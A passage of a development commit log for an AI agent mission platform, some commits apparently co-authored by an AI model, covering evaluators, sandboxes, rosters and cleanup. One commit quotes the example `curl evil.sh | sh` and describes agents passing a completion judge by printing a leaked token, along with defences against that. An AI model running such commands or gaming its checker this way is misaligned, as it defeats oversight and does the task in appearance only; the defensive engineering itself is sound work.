`templates/workflows/*.toml`, chosen by `template_kind` before anyone saw the
mission. That is the "do it this way: 1, 2, 3" over-specification that makes a
capable model follow a worse plan than it would have chosen. The recipes stay —
they are still the default for a mission nobody proposes a plan for, and the
fallback when a proposal is refused.

Same three verbs and the same review gate as the roster, deliberately: propose
and decide are separate because only the second changes a mission, and a second
shape would be a second thing to get right. Approving REPLACES the phases (a
plan is an answer to "what is this mission", not an addition to one), draft-only.

GROUNDED IN WHAT THE PLATFORM ACTUALLY READS, which is the part that makes this
more than a copy. `phase_config::KNOWN_KEYS` already names every phase-config key
and the code that reads it — the registry built after `task` sat unread through
every mission. A plan is validated against it, so a model cannot propose a phase
whose settings nothing will act on: the failure that registry exists to EXPOSE is
one this path cannot create. Phase kinds are checked the same way, because an
unknown kind does not error — it falls through to the catch-all purpose and runs
as a generic phase that looks like it worked.

TWO THINGS THE WORK ITSELF FOUND, both the same shape:

  - `done_when_check` — the stop-gate key added earlier today — was never
    registered in `phase_config`, so every mission that set it has been logging
    it as an unknown key. Found by a test written for a different purpose, which
    is the registry doing exactly its job. Now registered with its reader.
  - `done_when` and `max_iterations` are COLUMNS promoted out of config by
    `missions::create`; the evaluator sweep filters on the column in SQL every
    tick. My first insert wrote the config blob alone, which would have stored a
    plan's completion condition where nothing judges it. NEGATIVE CONTROL run:
    binding NULL instead of the promoted value fails
    `an_approved_plan_replaces_the_missions_phases`.

`order_idx` comes from the array's own order rather than a field the model sets:
two sources for one fact is how a plan ends up with two phase 0s, and order_idx
is what `start_pending_phases` sequences on.

MAX_PHASES is 4 and the prompt argues for one. Each phase is a full agent run in
sequence, and splitting one change into plan → implement → test is the documented
anti-pattern — a single agent doing all three keeps the context that makes the
later steps good.

543 tests pass, clippy clean. Migration 0072.

Omar SobhandClaude Opus 5 75d09241fb fix(missions): the first real approval found two bugs the tests could not
Deploying Slice 5 and approving one roster in production broke it twice, in ways
528 green tests had nothing to say about.

**1. `jsonb_set` refuses a scalar.** A mission created through the API without a
`config` stores jsonb `null` — a scalar — and `jsonb_set` fails on it with
"cannot set path in scalar". The guard was `coalesce(config, '{}')`, which
protects against SQL NULL; this is a perfectly good JSON null of the wrong shape,
and coalesce passes it straight through. Every test wrote `'{}'::jsonb` because
that is what a test author types. Production types nothing at all.

**2. The approval was not atomic, and failing halfway is permanent.** The claim
and the mission write were two statements, claim first, so when the write failed
the proposal stood `approved` with nothing applied — and the partial unique index
then makes that state unrecoverable: no other proposal for that mission can ever
be approved. The mission ran solo with `team_engine` still NULL while its
proposal said otherwise.

`approve_and_apply` is now one transaction: claim, write, commit or roll back.
The type guard is `CASE WHEN jsonb_typeof(config) = 'object' THEN config ELSE
'{}'::jsonb END`, which answers the question that was actually being asked.

Both regressions are tested in the shape production had, and both NEGATIVE
CONTROLS were run rather than assumed:

  - restore `coalesce` → `a_roster_applies_to_a_mission_whose_config_is_json_null`
    FAILS with Postgres's own "cannot set path in scalar", the exact production
    error.
  - commit instead of roll back on a failed apply →
    `a_failed_apply_leaves_the_proposal_undecided` FAILS with the proposal stuck
    `approved`.

Worth stating plainly: the API returned 500 for that approval, so this was not
silent to the caller — but the row it left behind claimed the mission had a
roster it never received, and the mission then ran and delivered, which is the
shape that gets believed.

530 tests pass, clippy clean.

Omar SobhandClaude Opus 5 1797669296 feat(missions): Slice 5 — let a model size the mission's team
`routes/planner.rs` has had Opus proposing rosters since the Master Planner
shipped, and none of it ever reached a mission: the proposal lived in React state
and died with the tab. A mission's shape came from a team template instead —
fixed roles, and every claw minted `claude-sonnet-5` from a literal in
`mint_team_from_template`. That literal is why no mission has ever run more than
one provider.

A roster is `(topology_kind, [(role, backend)])`, which is exactly what the
composed executor already consumes: `Roster::graph` builds a `TopologyGraph` with
the backend in `attrs`, and `MicroVmTurnExecutor` reads `attrs["backend"]` per
node. So a verifier on another provider's rootfs stops being a bolt-on and
becomes a graph node — the correlated-failure break the independent judge exists
for, one layer down.

Three verbs, and the split is the point. **suggest** asks the model and persists
the answer, changing nothing. **decide** approves (writes `config.roster` and
switches the mission to the composed engine) or rejects. A proposal is never
applied on arrival: a model sizing a team is a suggestion about how many VMs to
boot, and this codebase treats model output that costs money as evidence for a
decision, not the decision.

Fail-closed at every seam, because each of these otherwise surfaces much later
and much more expensively:

  - a backend no ONLINE node can boot is refused when PROPOSED, naming the ones
    the fleet actually has. Placement would refuse it too — at launch, after the
    roster was approved and someone believed the mission would run. The model is
    handed that same list in its prompt, so the usual case never arises.
  - an invented `topology_kind` is refused, not defaulted. `parse_topology_kind`
    defaults to hub-spoke, which is right for a template we wrote and wrong for a
    string a model just produced: running a `pipeline` proposal as a hub-and-spoke
    changes what every node sees and nothing would say so.
  - the roster is validated BEFORE it is stored, so a stored proposal is always
    one that could be approved; and again at approval, against the fleet as it is
    then — a node can go offline in between.
  - `MAX_MEMBERS = 6`. Each member is a whole VM, not a subagent, and a model
    asked to size a team proposes twelve happily.

Two properties live in SQL rather than in the handler: at most one approved
roster per mission (partial unique index — two approved rosters are two answers
to "what shape is this mission", and the executor reads one field), and
decide-once (`WHERE status = 'proposed'`, so a double-clicked approve claims
nothing the second time). Both tested against a real database, including that the
second approval is refused by Postgres rather than merely losing a race.

NEGATIVE CONTROL, run rather than assumed: with the roster preference removed
from `composed_graph`, `an_approved_roster_outranks_the_template` FAILS — 3 nodes
from the template instead of the roster's 2. A stored roster that is silently
ignored at launch is precisely the shape this project keeps paying for.

Not closed: per-role models for CLAWS. `template_roles` has no model column, so a
ZeroClaw team still mints one model for every role. The literal is now a named
constant that says so and points at the roster path, rather than sitting inline
where nobody reads it.

527 tests pass, clippy clean. Migration 0070. Not yet exercised against the
deployed stack — the route has never been called with a live model.

Omar Sobh cb48f7ff3b feat(missions): Slice 3 — agent teams behind a per-mission switch, solo by default
`missions.team_engine` (0069): NULL = solo, `'claude_code'` = Claude Code agent
teams inside the mission's VM. Solo stays the default deliberately — Anthropic
measure multi-agent at 3-10x the tokens with wall-clock often LONGER, since the
benefit is thoroughness rather than speed — so a mission that said nothing does not
get a team.

In-process teammates live in the lead's process, so ONE VM hosts the whole team.
That is why this is a prompt-and-env change rather than an orchestration one: no
N-VM fan-out, no placement per teammate, no new completion path.

The lead decides its own team size and there is no flag that limits it, so the cap
(4) is stated in the prompt. The addendum also carries the two anti-patterns from
Anthropic's guidance, because they are exactly the shapes our pipeline templates
have: teammates must own DIFFERENT FILES (two in one file overwrite each other),
and one change must not be split into stages across teammates (a handoff loses
context at every step). And: wait for your teammates — a summary written before
they report is the lead's own guess.

A solo mission's prompt and env are byte-identical to before this change. That is
enforced by test, not by intention: the comparison between solo and team is only
meaningful if the solo side did not also move.

Evidence, because a team mission that forms no team is silently just a solo run
that looked fine and spent fewer tokens: a second probe counts members in
`~/.claude/teams/*/config.json` (minus the lead), reported separately from the
subagent count, and a team mission with zero teammates logs loudly with the two
likely causes. The teammate path is DOCUMENTED BUT NOT YET VERIFIED in our image,
unlike the subagent transcript path which was measured — so a zero there means "no
evidence found", and the first real team mission is what turns it into a fact.
`Option<u32>`: None means no team was asked for or the probe could not run.

Hooks (`TaskCompleted` / `TeammateIdle` exit 2, which would move `done_when` from
post-hoc into the agent's own loop) are the highest-value part of this slice and
are deliberately NOT here — they deserve their own pass rather than a rushed tail.

482 tests pass, clippy clean.

Omar Sobh c840688adb feat(missions): choose the independent validator per mission (#53)
`CLAWMATES_VALIDATOR_MODEL` is deployment-wide, so proving Slice 2 put a second
provider on the critical path of EVERY phase verdict. `cross_provider_judge`
deliberately does not fall back when the independent judge fails — a verdict
quietly produced by a same-family model would claim a property it does not have —
so a z.ai outage makes phases unmeetable rather than merely unverified. That is a
per-mission trade, not a per-deployment one.

`missions.validator_model` (0068), settable at create, with three distinct states
because an empty string and NULL mean opposite things in a nullable text column:

  NULL          use the deployment default
  ''            explicitly NO independent validator — judge with the house model.
                The default must not quietly reinstate independence a mission was
                told to skip.
  'glm:glm-4.7' this spec, subject to the same three refusals as before:
                same-family rejected, unregistered provider rejected, and a failed
                independent judge does not fall back.

Whitespace counts as empty: a column hand-set to " " meant to say nothing.

478 tests pass, clippy clean. Behaviour is unchanged for existing missions — they
have NULL and so keep following the deployment default.

Omar Sobh 0a9747091f fix(missions): a microvm mission needs no team, and two checks required one
Found by running one: the mission was created with runtime_kind='microvm' and
then refused to launch with a bare 400, because draft→running requires a
materializable team. Past that, `launch_phase` returns early when a phase has no
matching teams — so even with the launch allowed, the phase would have sat
`pending` forever while the log said only "no matching teams", and the executor
would never have been reached.

Neither check applies to this path: microvm_executor runs the agent CLI directly
in the VM, so there is no claw graph to materialise. Satisfying the checks by
attaching a team template would have provisioned claws that never run.

The repo checkout still happens — the VM needs the repository.

461 tests pass, clippy clean.
2026-08-05 16:39:48 -07:00
Omar SobhandClaude Opus 5 c9b7d8b6ca fix(missions): a microvm mission could not be created at all
`runtime_kind='microvm'` passes the DB CHECK, is honoured by placement, and now
has an executor — but `POST /api/missions` rejected the value with 400, so the
only interface that creates missions could not produce one. And `backend`, which
selects the per-CLI rootfs, was not in the create payload at all: it existed as a
column and as a parameter to `vm_create`, with nothing able to set it.

microvm needs no target_node_id at create time, unlike local_herdr: placement
resolves a KVM-capable node at launch and fails the launch when there is none, so
an explicit target is a request rather than a requirement.

Omar SobhandClaude Opus 5 ad89ef94cd feat(library): attribute a run to a mission, and prove what it contributed
ci / gates (push) Failing after 7s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
`corpus_items.mission_id` has existed since the table landed and nothing
could populate it. `POST /api/library/runs` now accepts `missionId`, which
is the seam the wizard needs: a mission-driven run is the same run, tagged.

`corpus::contributed()` answers the question a continuous mission has to
be able to answer — did THIS run add anything new. Because `record` never
reassigns mission_id on conflict, the mission that first found a source
keeps the credit, so a rerun cannot inflate its own count by re-recording
what an earlier run already held. The test asserts exactly that: two
missions see the same paper, the finder reports 1 and the rerun reports 0.

This is the check the 0030-0044 generation of continuous research did not
have. It could run weekly forever and every run looked like success.

The test also earned its FK: the first version attributed to a bare UUID
and the database refused it. Attribution to a mission that does not exist
is not attribution, so the test now seeds real mission rows.

400 tests, clippy clean.

Omar SobhandClaude Opus 5 9de2cf34e4 feat(auto-merge): merge additive branches, refuse everything else
ci / gates (push) Failing after 10s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Closes the branch pile-up: a catalogue branch that only adds notes now
merges into main by itself, so the work is actually in the vault rather
than waiting in a branch nobody opened.

Additive-only is measured from the diff, not assumed from the mission
type. Three conditions, all required: the type declares additive_only,
the run verified, and `git diff --name-status base...branch` contains
only A entries. A research harvest that somehow rewrote a hand-written
note is refused by the same check that lets its new notes through —
which is the case the test pins down, asserting README.md on main is
byte-identical afterwards.

Renames and deletes count as non-additive. A rename is a delete plus an
add and the delete half can destroy hand-written work.

Unknown merge_policy values fail closed to Never. A typo must not grant
auto-merge.

The diff is taken against FETCH_HEAD, freshly fetched, using `...` so an
unrelated commit landing on main meanwhile is not misread as ours. A
conflicted merge aborts and leaves the branch for a human rather than
wedging the checkout for the next run.

merge_reason is always populated and surfaced in the API: a branch that
quietly did not merge is indistinguishable from one never delivered.

399 tests, clippy clean.

Omar SobhandClaude Opus 5 107f0dbced feat(library): expose the library over the API
POST /api/library/runs harvests now; GET /api/library/items lists what
the library holds. Thin wrappers — the work stays in crate::library — so
a run can be started by a person, a schedule or the UI rather than only
from an integration test.

The response reports `healthy` explicitly rather than leaving a caller to
infer it from an empty `shelved` list. A quiet week and a broken run both
shelve zero papers, and collapsing those two is the exact ambiguity that
cost most of this week.

Failure reasons go to the log, not the response body: they can carry the
remote URL and raw git stderr.

AppState gains an optional blob store (the shelf), wired from the server
binary where storage is already constructed. Optional because AppState::new
is used by tests that never touch blobs; a route that needs it fails
loudly rather than the constructor demanding it everywhere.

393 tests, clippy clean.

Omar SobhandClaude Opus 5 ec85f6c8da fix(missions): close the three seams behind this run of failures
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Seam 1 — delivery inferred checkout state from the tree, so whether work
survived depended on what the agent happened to do. 019fc444 committed
and left a clean tree; 019fc476 had its base advanced to match HEAD;
019fc450 survived only because a phase FAILED to commit and left the tree
dirty. Same code, opposite outcomes, decided by the agent.

mark_phase_started records the fact at phase launch, before the agent
acts, so every one of those states answers identically. The tree checks
remain as a second line of defence for pre-existing checkouts.

Seam 2 — phase config was accepted, stored and read by nobody. That was
`task`: every phase of every mission got identical instructions. The new
phase_config registry names the reader for each live key and lists the
eight that are declared-but-unimplemented, reporting both at mission
creation so an author sees what will not happen. Its CI test found one I
had missed: security_hardening.toml sets phase-level mcp_bundles asking
for gitea_forge + security_scan, but bundles come from the TEAM template
and the phase gets neither.

Seam 4 — push_url_for collapsed a failed query, an unbound repo and a
missing clone_url into one None, so a database fault was recorded as
"nothing to push to" and metadata read `pushed: null, push_error: null` —
the same ambiguity commit_error already fixed. Each case now carries its
reason into the artifact, and a local git failure during publish is
recorded rather than dropped by .ok().

Omar SobhandClaude Opus 5 c812b714f4 fix(evaluator): the verification sandbox never ran a command
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.

The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.

The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.

- New `container_exec` routes execution through the Docker API via bollard,
  which was already a dependency and already reaches the daemon through the
  socket proxy. Captures the exit code (absent from the old helper) and keeps
  stdout and stderr apart (`LogOutput`'s Display merged them, which is why
  nothing downstream could tell JSON from a progress bar). `security_scan`
  parses stdout alone; `benchmark_runner` needs both.
- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
  success — `commit_policy = "on_green_tests"` will gate on this, and
  "unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
  `exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
  precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
  neither executed, `was_verified() == false`; plus a failing suite (exit 101)
  still counting as verification, because that is something the judge learned
  rather than was told.

Omar SobhandClaude Opus 5 3eb89620e7 feat(evaluator): verify the work instead of believing the agents
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Mission 019fbb63 was judged complete on its second pass without any work
being done. The condition required a literal token; pass 1's verdict said the
token was missing; that text was handed to the agents verbatim; an agent
printed the token. Every step behaved as designed, and the result was a phase
marked done on a copy-paste. Two separate defects.

**The judge could only read claims.** It now gets a checkout and one tool:
`run_check`, an argv array executed by `docker exec` with no shell anywhere.
That is structural — with a shell, an allow-list on the program name is
decorative, since `git status; curl evil.sh | sh` passes any prefix check;
without one, metacharacters are inert bytes in argv. Also: allow-listed
programs, read-only git subcommands only (a judge must not be able to
`git checkout` away the work it is judging), no absolute paths or `..`, a
deadline, and head-and-tail output clamping so failures survive truncation.

The verifying prompt is adversarial by design — it looks for tests weakened
or deleted, assertions rewritten to match wrong output, values hard-coded or
printed rather than produced, and success claimed with no matching git diff.
Phases with no checkout keep the evidence-only prompt, which states plainly
that verification is impossible there; a judge told it can check something it
cannot will claim it did.

**The feedback handed over the answer.** `Verdict` splits into `reason`
(operator; quotes freely) and `guidance` (agents; sanitized).
`sanitize_guidance` redacts identifier-shaped tokens from the condition unless
the agents already produced them, so prose feedback survives and magic strings
do not. `latest()` returns guidance, with a test that fails if it regresses to
`reason`. The next-pass brief now also states that output which merely looks
like it satisfies the check fails the pass.

Redaction is the backstop; running the tests is the defence.

- migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API
  and the UI, so an operator can see "verified by 3 checks" versus "from agent
  claims only" rather than having to guess which kind of verdict they have.
- `complete_direct` deleted — `judge_with_tools` covers the no-tools case.
- 23 evaluator tests, including the incident replayed as a regression.

Omar SobhandClaude Opus 5 5cccd5f58b fix(missions): merge phase config instead of replacing it; conditions are per-phase
Two defects in the goal-condition work, both found while tracing a
research->coding mission end to end.

1. Setting a condition silently dropped the recipe's phase config.

phases_for_create treated a caller-supplied config as a wholesale replacement.
The wizard sends {done_when, max_iterations} as the entire config, so every
other recipe key was discarded. Harmless for research_and_code, where nothing
reads `produces` or `default_topology` -- but a conditioned security_hardening
phase lost its `tools` list, which security_scan.rs DOES read, so the scan
would run with nothing configured and report clean. A green security scan that
scanned nothing is the worst possible failure mode for that feature.

The recipe is now the base and the caller's keys override individually.
Shallow merge is deliberate: phase config is a flat settings bag, and a caller
sending `tools: [...]` means to replace the list, not union it. A non-object
override still replaces outright rather than silently picking a side.

2. One condition was applied to every phase.

The wizard had a single mission-level "Done when" that got copied onto all
phases. For research->coding that is actively wrong: "cargo test reported 0
failures" cannot hold while the research phase is running, so research would
burn all its passes and give up before coding ever started. Conditions are now
per phase, keyed by order_idx, with a per-kind placeholder that demonstrates
the rule that actually governs whether a condition works -- it must be
provable from what the agents wrote, because the checker cannot run commands.

Phases with no condition are sent unchanged, so they keep the recipe's
settings and finish in one pass exactly as before.

Omar SobhandClaude Opus 5 fe57ce4ed1 feat(missions): surface goal conditions and per-pass verdicts in the UI
Makes the completion evaluator usable and observable.

- GET /api/missions/{id}/phases/{phase_id}/evaluations returns every verdict
  for a phase, newest pass first, scoped like the summary endpoint.
- MissionPhase gains done_when / max_iterations / iteration, so the phase card
  can show what the phase is working toward and which pass it is on.
- PhaseStatus gains 'evaluating' (amber) -- the state between "runs finished"
  and "phase done" that only conditioned phases enter.
- New PhaseGoalStrip renders on the phase card, and renders NOTHING for phases
  without a condition so unconditioned missions look exactly as before. It
  polls only while the phase is running or being judged.
- Mission wizard step 2 gains the condition + a max-passes field.

Two deliberate emphases in the UI:

The evaluator's `reason` is the most prominent element, because it is both the
explanation of why a phase iterated and the literal text handed back to the
agents as guidance -- it is what tells an operator whether the condition is
written well.

The hint copy states the constraint that actually governs whether a condition
works: the judge cannot run commands, it only reads what the agents wrote, so
the condition has to be provable from their output. "cargo test reported 0
failures" works; "the code is well factored" does not. Getting this wrong is
the difference between a phase that converges and one that burns every pass.

An evaluator error is rendered distinctly from a negative verdict, so a judge
outage doesn't read as a judgement on the work.

Omar SobhandClaude Opus 5 49bcf53b84 feat(missions): wire the workflow registry so phase config reaches the database
workflow_registry.rs had zero call sites -- lib.rs declared the module and
nothing ever called load() or get(). So templates/workflows/*.toml was never
read, and because the client's TEMPLATE_PRESETS carries only {kind, order_idx}
with no config, PhaseSpec.config defaulted to Value::Null and every
wizard-created mission stored a null mission_phases.config.

Every per-phase setting was therefore inert. `loop = "until_no_more_int_items"`
and `commit_policy = "on_green_tests"` described a scheduler that does not
exist AND had no path to the database. benchmark_runner and security_scan
already read phase_config(); they were reading from null.

- Mission create derives phases from the recipe when none are sent, and
  backfills config per phase (matched on kind+order_idx, then kind) when the
  caller sends shape without config. An explicit config always wins.
- phases_for_create takes Option<&WorkflowRecipe> rather than reaching for the
  global, because the registry resolves its directory relative to the process
  cwd -- which under cargo test is the crate root, not the repo root.
- GET /api/workflows serves the catalog; the wizard fetches it and falls back
  to TEMPLATE_PRESETS. Adding a TOML now adds a template with no FE change.
- load() runs at boot so a malformed recipe appears in the boot log instead of
  silently producing a mission with no phase config.

Also fixes a latent bug in all five recipes: `default_team_template` was
written below the first [[phases]] block, and TOML scopes a bare key after a
table header INTO that table -- so it parsed as
phases[last].config.default_team_template and the real field was always None.
Invisible while the registry was dead code. Moved above the phases, with a
test asserting it neither returns None nor leaks into a phase config.

Omar SobhandClaude Opus 5 d94487d3ba refactor(topology): make the 12-kinds-to-5-patterns collapse explicit
TopologyKind describes twelve distinct intents, but the orchestrator
implements five planners and mapped the kinds onto them inside plan_steps.
So Market never auctions, StarMoe never routes to experts, Ring never cycles
and Holacratic never self-organizes -- each silently runs as whichever pattern
it collapses to, while kind::description() and the UI catalog kept promising
the distinct behaviour.

Rather than delete variants that appear in persisted rows, the collapse is now
named: ExecutionPattern + TopologyKind::execution_pattern() in cm-topology,
with plan_steps dispatching on the pattern instead of re-listing the mapping.
One source of truth, and the two cannot drift.

GET /api/topologies now reports `executes_as` and `distinct_at_execution` so a
UI can stop offering aliases as if they behaved differently.

Omar SobhandClaude Opus 5 b1bdfbbf87 fix(provision): let callers declare write access instead of guessing from the role name
default_risk_profile_for_role decides whether a claw gets file edits, git and
shell by substring-matching its role against a fixed keyword list. On the
planner path that role string is free text the model invented for this
proposal, so a model's choice of wording silently decided tool access: a
proposed "implementation_lead" matches no keyword, lands research_readonly,
and then fails every file edit for a reason invisible from the role name.

TeamMemberInput and the planner's member schema now carry `needs_write`, and
resolve_risk_profile prefers it over the guess. The planner prompt asks for it
per member and says to grant write only to members that produce code or
commits. Absent (older clients, autoprovision, a model that omitted the field)
falls back to the old guess, so nothing changes for callers that don't set it.

Omar SobhandClaude Opus 5 285d0c82f2 chore: delete dead scaffolding and stop fabricating claw capability cards
Tier 0 of the prompt-ablation pass -- subtraction only, none of this
reached a model.

- cm-brain: drop ClawBrain::export_markdown (zero callers).
- workflows: drop the `task_preamble` keys. No Rust code ever read them --
  WorkflowPhase.config is an opaque serde_json::Value -- so the comment
  calling the preamble "the belt, the skill the suspenders" described a belt
  that was never implemented. (`commit_policy` is unread for the same reason;
  left in place as documentation pending a decision.)
- mcp_door: derive the unknown-tool error from EXPOSED_TOOLS. The literal had
  drifted to naming one of the three tools the door exposes.
- Dashboard.tsx: drop TEAM_TEMPLATES/COMPANY_TEMPLATES, defined and never
  referenced, and disconnected from the real templates/teams/*.toml.

The substantive one: GET /api/claws/{id}/compartments returned hardcoded
strings for tools/capabilities/safety, identical for every claw. Every card
read "Network: none" and "Shell . blocked" regardless of the claw's real
risk_profile -- which is the actual capability boundary, so the card was
most wrong exactly where it mattered, on a coding_readwrite claw that does
have shell. Now derived from the claw's effective risk_profile (its team's
setting, else the same role-derived default the provisioner applies), with
the allowlists mirroring [risk_profiles.*] in the runtime config.

Note: cm-topology/src/heuristics.rs was slated for deletion here as unused.
It is not -- routes/topology.rs:43 serves it and p0_endpoints.rs:302 asserts
it. Left alone.

Omar SobhandClaude Opus 5 c573480955 fix(runtime): funnel every reap path through purge_agent; sweep node-placed orphans
Agent containers leaked two independent ways.

1. The four-step teardown (deprovision ZeroClaw -> reap_sandbox -> unlink
   .brain/.onion -> hard_purge) was inlined at three call sites and two had
   drifted. missions.rs::reap_mission_resources skipped reap_sandbox;
   topology_worker::maybe_teardown_ephemeral_team skipped it and the brain
   unlink; DELETE /api/claws/{id} (soft delete) released nothing at all, so an
   offline claw that can never run again kept its container and bind mount
   forever. All four now funnel through claws::purge_agent, with
   release_claw_resources for the soft-delete case (containers gone, rows kept).

2. Both orphan reapers listed only the local driver, so a container placed on a
   fleet node was invisible to the only backstop that could find it -- this is
   what accumulated 144 tc-agent-* orphans on one node. NodeDriverProvider gains
   node_ids() (backed by NodeHub::online_ids) and both reapers now sweep every
   connected node. The remote sweep is TTL-only on purpose: the boot pass runs
   with Duration::ZERO and would otherwise kill a container another instance is
   mid-provision on.

Why it was invisible: agent_containers.agent_id is ON DELETE CASCADE, so
hard_purge took the registry row with the agent and left the container
permanently unreferenceable.

Omar SobhandClaude Opus 5 0785ac9c79 feat(missions): document reader + three-tab IA for the mission page
The mission page made its own output unreadable. Reviewing a research
brief meant scrolling a 300px <pre> nested inside a 260px run box nested
inside the page scroller (plus a 4th scroll region for the description) —
and the text was capped at 6,000 chars server-side with no way to fetch
the rest, so a 53kB brief showed ~11% of itself and silently dropped the
remainder. Eight flat tabs (overview/phases/tasks/team/live/artifacts/
benchmarks/pane) mixed lifecycle, work items, people, telemetry, outputs
and infra at one level, so nothing indicated where the deliverable lived.

Reader:
- GET /api/missions/{id}/documents lists every agent output (titles +
  sizes, no bodies); GET .../documents/{run_id}/{index} returns one in
  full. Scoped to the mission so a run id from elsewhere can't be read.
- MissionOutputReader: rail (documents grouped by phase) · document ·
  outline (headings, click to jump). Exactly one scroll container per
  column, never nested. Copy + download .md.
- MarkdownBlock gains fenced code blocks (agent output is full of ```rust,
  previously mangled into paragraphs), h4-h6, heading anchors, and an
  outlineOf() helper.

Information architecture:
- Three primary tabs with shallow sub-views: RUN (phases/tasks/live) ·
  OUTPUT (documents/artifacts/benchmarks) · SETUP (overview/team/pane).
- PhaseRunsList shows a short excerpt with no inner scrollbar and points
  at the reader for the full text.
- The header description is clipped, not scrollable; its full text now
  has a home in Setup → Overview.

Missions list:
- /api/missions returns MissionListItem — Mission flattened plus
  phases_total/phases_done/current_phase, so the JSON stays a strict
  superset. Cards render a progress bar and "Coding · 1/2" instead of a
  bare status dot.

DELETE /api/missions/{id} was a bare `DELETE FROM missions` relying on FK
cascades that only cover mission-owned tables. Everything the mission
provisioned leaked: per-mission runtime container, host workspace dir,
teams (created lifecycle=permanent, so no cascade + skipped by the
ephemeral-teardown path), and every claw's ZeroClaw config, .brain files,
and DB rows. Observed live with 0 missions in the DB: 174 orphaned gateway
claw configs, 7 orphaned teams, 31 agents, 39 .brain files, 6 workspace
dirs, a 4-day-old orphaned container, and 123 detached topology_runs.

delete() now calls reap_mission_resources() before the row delete:
- resolve the mission's teams (mission_teams) → claws (team_members)
- per claw: deprovision_claw (gateway) + rm .brain files + hard_purge (DB),
  reusing the manual agent-reap pattern in routes/claws.rs
- delete the permanent-lifecycle teams (team_members cascades)
- delete the mission's topology_runs (else they linger with mission_id
  nulled by the cascade and accumulate)
- teardown_container(), now extended to also rm the /mission/repo workspace
  dir and tolerate an already-gone container (idempotent for the sweeper +
  delete paths)

Runtime-side steps are best-effort (Postgres authoritative; fleet sweeper
reconciles daemon config); DB purges are logged on failure but never block.

Omar SobhandClaude Opus 4.8 34409bca0c fix(missions): grant coding tools + pin claw workspace to /mission/repo
Mission agents were burning ~275K tokens producing nothing: the coder had
only file_read and its workspace was the empty ephemeral sandbox, so it
dumped a full spec inline instead of writing files. Two root causes:

1. Risk-profile allowlists used pre-0.8 tool names. `coding_readwrite`
   allow-listed `file_write` (renamed to `file_edit` in ZeroClaw 0.8, and
   `file_write` now refuses on ephemeral workspaces) and omitted file_edit
   / content_search / glob_search / git_operations — the exact tools the
   phase prompt tells agents to use. Since allowed_tools is a strict
   allowlist, agents were effectively read-only. Documents the correct
   profiles in agent.config.example.toml (they only lived in host config;
   the live runtime profiles were corrected via its config API).

2. workspace.path never got set. `agents.<alias>.workspace.path` is an
   Option<PathBuf> the ZeroClaw Configurable macro skips from prop
   enumeration, so provision_claw's set_prop always 404'd and the whole
   call errored into a swallowed eprintln. Removes the dead set_prop and
   pins the workspace out-of-band: MissionRuntimeProvisioner::
   pin_agent_workspaces patches the shared config file on the per-mission
   container (format-preserving via toml_edit, atomic temp+mv); the daemon
   applies it on the same reload that surfaces the freshly-provisioned
   claws. Covered by unit tests for the TOML stamp.

ci / rust (push) Successful in 3m30s
ci / publish (push) Successful in 4m6s

Two stacked issues after risk_profile was fixed:

1. Claws had file_edit + 46 other tools available, but the templates
   trained the agents to expect file_read/file_write (older ZeroClaw
   tool names). Result: agent output kept saying "I only have file_read"
   and dumped implementations into the context window as text.

2. Even with file_edit, the sandbox pointed at
   /zeroclaw-data/.zeroclaw/agents/<alias>/workspace/ — NOT
   /mission/repo where the checked-out mission repo actually lives.
   unrestricted_filesystem=false blocked agents from reaching it.

Fixes:
- provision_claw now takes workspace_path. mission_orchestrator passes
  /mission/repo — pins the per-claw workspace via
  agents.<alias>.workspace.path to the bind-mount path so file_edit /
  content_search / glob_search operate on the mission's git checkout.
- phase_task_text prepends an explicit tool inventory (file_edit,
  content_search, glob_search, git_operations, git_forge, ...) plus a
  WORKSPACE line pinned at /mission/repo. Each phase directive is
  rewritten to reference file_edit / git_operations explicitly and to
  call out "do NOT paste code in your reply expecting the platform to

Omar Sobh 84572186e9 fix(runtime_provision): use team-template risk_profile, not hardcoded toolfree

The provisioner was hardcoding risk_profile=toolfree for every claw,
which the ZeroClaw config explicitly configures to EXCLUDE every
usable tool (shell, file_read, file_write, http_request, browser).
Result: coder/tester/committer claws had zero tools and produced text
in the context window with no ability to actually write files or run
tests — exactly what the last mission summary showed.

Fixes:
- provision_claw now takes risk_profile: &str, passed through from
  the team template (development teams already had coding_readwrite,
  which now actually gets applied).
- Research team templates updated from toolfree → research_readonly
  (file_read) and papers_research → research_web_readonly
  (file_read + web_search + web_fetch). Applied to both the on-disk
  TOML files and the live DB rows.
- Added RuntimeProvisioner::default_risk_profile_for_role for
  auto-provision code paths that lack a template context — picks
  coding_readwrite for coder-like roles, research_readonly otherwise.
- Split rebind_model out of provision_claw so the model-change UI
  path doesnt inadvertently clobber the existing risk_profile.

Templates DB fixup for missions launched pre-deploy is already
applied via manual UPDATE.
